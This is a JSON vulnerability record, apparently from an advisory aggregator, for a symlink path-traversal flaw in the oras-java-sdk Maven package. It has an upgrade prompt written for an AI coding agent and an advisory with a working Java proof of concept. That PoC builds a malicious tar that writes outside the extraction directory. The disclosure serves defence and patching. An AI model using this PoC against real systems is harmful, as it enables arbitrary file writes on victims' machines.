{"answers":{"affected":"2 open source packages ship an affected version, including land.oras:oras-java-sdk.","exploited":"There is no known exploitation of GHSA-j6hm-v3x2-qv6j in the wild and no public exploit code.","fix":"Upgrade land.oras:oras-java-sdk to 0.6.4 or later.","what":"GHSA-j6hm-v3x2-qv6j is a path traversal vulnerability in land.oras:oras-java-sdk, published on 1 Jul 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-j6hm-v3x2-qv6j and fix it if it is affected.\n\nWhat it is: GHSA-j6hm-v3x2-qv6j is a path traversal vulnerability in land.oras:oras-java-sdk, published on 1 Jul 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-j6hm-v3x2-qv6j in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- land.oras:oras-java-sdk (Maven): affected all versions; fixed in 0.6.4\n- land.oras:oras-java-sdk (Maven): affected all versions; fixed in 0.6.4\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-j6hm-v3x2-qv6j/ (Markdown: https://insights.sbomify.com/GHSA-j6hm-v3x2-qv6j/index.md)","id":"GHSA-j6hm-v3x2-qv6j","markdown":"https://insights.sbomify.com/GHSA-j6hm-v3x2-qv6j/index.md","name":"GHSA-j6hm-v3x2-qv6j","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["data_modify"],"network_reachable":"yes","non_default_config":true,"product_category":"Java OCI SDK","requires_auth":"none","summary":"Attackers can write arbitrary files outside the extraction directory via malicious symlinks in OCI archives, requiring user interaction to pull and extract the artifact.","user_interaction":"required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\n`ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent `Files.newOutputStream` call follows the symlink and writes the file outside the caller's chosen `target` directory.\n\nThis bypasses the existing `ensureSafeEntry` containment check, which only validates `entry.getName()` and not `entry.getLinkName()`. Reachable from the public `Registry.pullArtifact` / `OCILayout.pullArtifact` API whenever the manifest layer carries `io.deis.oras.content.unpack=true`, and from any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).\n\n### Affected versions\n\n`land.oras:oras-java-sdk` `\u003c= 0.6.3` (current `main` commit `8e39dd54f0b9e981a5f246aefb851298187578e5`, file `src/main/java/land/oras/utils/ArchiveUtils.java` lines 400-443 for `untar`, lines 350-393 for `unzip`).\n\nEarlier path-traversal fix in PR #703 (released as `0.6.2`) addressed the `org.opencontainers.image.title` annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries.\n\n### Privilege required\n\nNetwork-position: any party able to serve an OCI artifact / archive blob that the victim's `oras-java-sdk`-based tool pulls and extracts. This includes:\n\n- A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace).\n- A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts.\n\nNo registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads.\n\n### Root cause\n\n`src/main/java/land/oras/utils/ArchiveUtils.java` `untar(InputStream, Path)`, lines 400-443:\n\n```java\npublic static void untar(InputStream fis, Path target) {\n    try {\n        try (BufferedInputStream bis = new BufferedInputStream(fis);\n                TarArchiveInputStream tais = new TarArchiveInputStream(bis)) {\n            TarArchiveEntry entry;\n            while ((entry = tais.getNextEntry()) != null) {\n\n                // Check if the entry is outside the target directory\n                ensureSafeEntry(entry, target);   // validates entry.getName() only\n\n                Path outputPath = target.resolve(entry.getName()).normalize();\n\n                if (entry.isDirectory()) {\n                    Files.createDirectories(outputPath);\n                } else {\n                    Files.createDirectories(outputPath.getParent());\n\n                    if (entry.isSymbolicLink()) {\n                        // entry.getLinkName() is NOT validated against target\n                        createSymbolicLink(outputPath, Paths.get(entry.getLinkName()));\n                    } else {\n                        // FOLLOWS the symlink if outputPath's parent is one\n                        try (OutputStream out = Files.newOutputStream(outputPath)) {\n                            tais.transferTo(out);\n                        }\n                    }\n                }\n            }\n        }\n    } catch (IOException e) {\n        throw new OrasException(\"Failed to extract tar.gz file\", e);\n    }\n}\n```\n\n`ensureSafeEntry` (lines 261-268) only normalizes `entry.getName()` against `target`. `entry.getLinkName()` for symlink entries is passed straight to `createSymbolicLink`. The subsequent file-write code path uses `Files.newOutputStream` without `LinkOption.NOFOLLOW_LINKS`, so when a later entry's path traverses through the previously-created symlink, the write resolves the symlink and lands outside `target`.\n\nThe same primitive applies to `unzip(InputStream, Path)` at lines 350-393 (symlink path at line 379 uses `createSymbolicLink(outputPath, Paths.get(linkStr))` without target validation).\n\nReachability into the public API:\n\n- `Registry.pullArtifact` -\u003e `pullLayer` (Registry.java:1088). When `io.deis.oras.content.unpack=true` is set on the layer, `pullLayer` calls `ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)` at line 1109. The attacker-controlled blob is the input.\n- `OCILayout.pullArtifact` similar path through the layout's blob store.\n- Any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` / `ArchiveUtils.unzip` from a downstream consumer that fetches an archive blob and extracts it.\n\n### Proof of concept (E2E against deployed Maven Central `land.oras:oras-java-sdk:0.6.3`)\n\n`pom.xml`:\n\n```xml\n\u003cdependency\u003e\n    \u003cgroupId\u003eland.oras\u003c/groupId\u003e\n    \u003cartifactId\u003eoras-java-sdk\u003c/artifactId\u003e\n    \u003cversion\u003e0.6.3\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n`src/main/java/TarSlipPoc.java`:\n\n```java\nimport land.oras.utils.ArchiveUtils;\nimport org.apache.commons.compress.archivers.tar.TarArchiveEntry;\nimport org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;\n\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class TarSlipPoc {\n    public static void main(String[] args) throws Exception {\n        Path tmp = Files.createTempDirectory(\"orasslip-\");\n        Path target = tmp.resolve(\"safe-output\");\n        Files.createDirectories(target);\n        Path escapeFile = tmp.resolve(\"ESCAPED.txt\");\n        Files.deleteIfExists(escapeFile);\n\n        Path mtar = tmp.resolve(\"malicious.tar\");\n        try (TarArchiveOutputStream tout =\n                 new TarArchiveOutputStream(Files.newOutputStream(mtar))) {\n            tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);\n\n            // Entry 1: symlink at \"evil-link\" pointing one dir above target\n            TarArchiveEntry symlinkEntry =\n                new TarArchiveEntry(\"evil-link\", TarArchiveEntry.LF_SYMLINK);\n            symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());\n            symlinkEntry.setMode(0777);\n            tout.putArchiveEntry(symlinkEntry);\n            tout.closeArchiveEntry();\n\n            // Entry 2: regular file under \"evil-link/\" — write follows symlink\n            byte[] data = \"POC SUCCESS\\n\".getBytes();\n            TarArchiveEntry fileEntry =\n                new TarArchiveEntry(\"evil-link/ESCAPED.txt\");\n            fileEntry.setSize(data.length);\n            fileEntry.setMode(0644);\n            tout.putArchiveEntry(fileEntry);\n            tout.write(data);\n            tout.closeArchiveEntry();\n        }\n\n        System.out.println(\"ESCAPED.txt pre-extract: \" + Files.exists(escapeFile));\n        ArchiveUtils.untar(mtar, target);\n        System.out.println(\"ESCAPED.txt post-extract (outside target): \"\n            + Files.exists(escapeFile));\n    }\n}\n```\n\nRun transcript (JDK 25, Apache Maven 3.9.16, `oras-java-sdk:0.6.3` from Maven Central):\n\n```\n=== PRE-EXTRACT ===\ntarget=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output\nESCAPED.txt exists: false\n=== POST-EXTRACT ===\ntarget listing:\n  /var/folders/.../orasslip-.../safe-output\n  /var/folders/.../orasslip-.../safe-output/evil-link (symlink)\nESCAPED.txt exists outside target: true\nESCAPED.txt contents: POC SUCCESS\n** SYMLINK TAR-SLIP CONFIRMED **\n```\n\nNegative control: same malicious tar, extracted through a routine that resolves `entry.getLinkName()` against the entry's parent and requires the result to stay under `target`, AND opens regular files with `LinkOption.NOFOLLOW_LINKS`:\n\n```\n=== NEGATIVE CONTROL (link-target validation) ===\nBLOCKED symlink 'evil-link' -\u003e '/var/folders/.../orasslip-neg-...' (escapes target)\nESCAPED.txt exists outside target: false\n** NEGATIVE CONTROL OK — no escape, safe under fix **\n```\n\n### Impact\n\n- Arbitrary file write under the privileg","ecosystems":["Maven"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"`ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic","id":"GHSA-j6hm-v3x2-qv6j","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Maven","product":null,"products":[],"type":"path_traversal","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Maven","fixed":["0.6.4"],"introduced":["0"],"last_affected":[],"package":"land.oras:oras-java-sdk","purl":null,"source":"GHSA-j6hm-v3x2-qv6j"},{"ecosystem":"Maven","fixed":["0.6.4"],"introduced":["0"],"last_affected":[],"package":"land.oras:oras-java-sdk","purl":"pkg:maven/land.oras/oras-java-sdk","source":"GHSA-j6hm-v3x2-qv6j"}],"products":null,"published":"2026-07-01","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can write arbitrary files outside the extraction directory via malicious symlinks in OCI archives, requiring user interaction to pull and extract the artifact.","url":"https://insights.sbomify.com/GHSA-j6hm-v3x2-qv6j/"}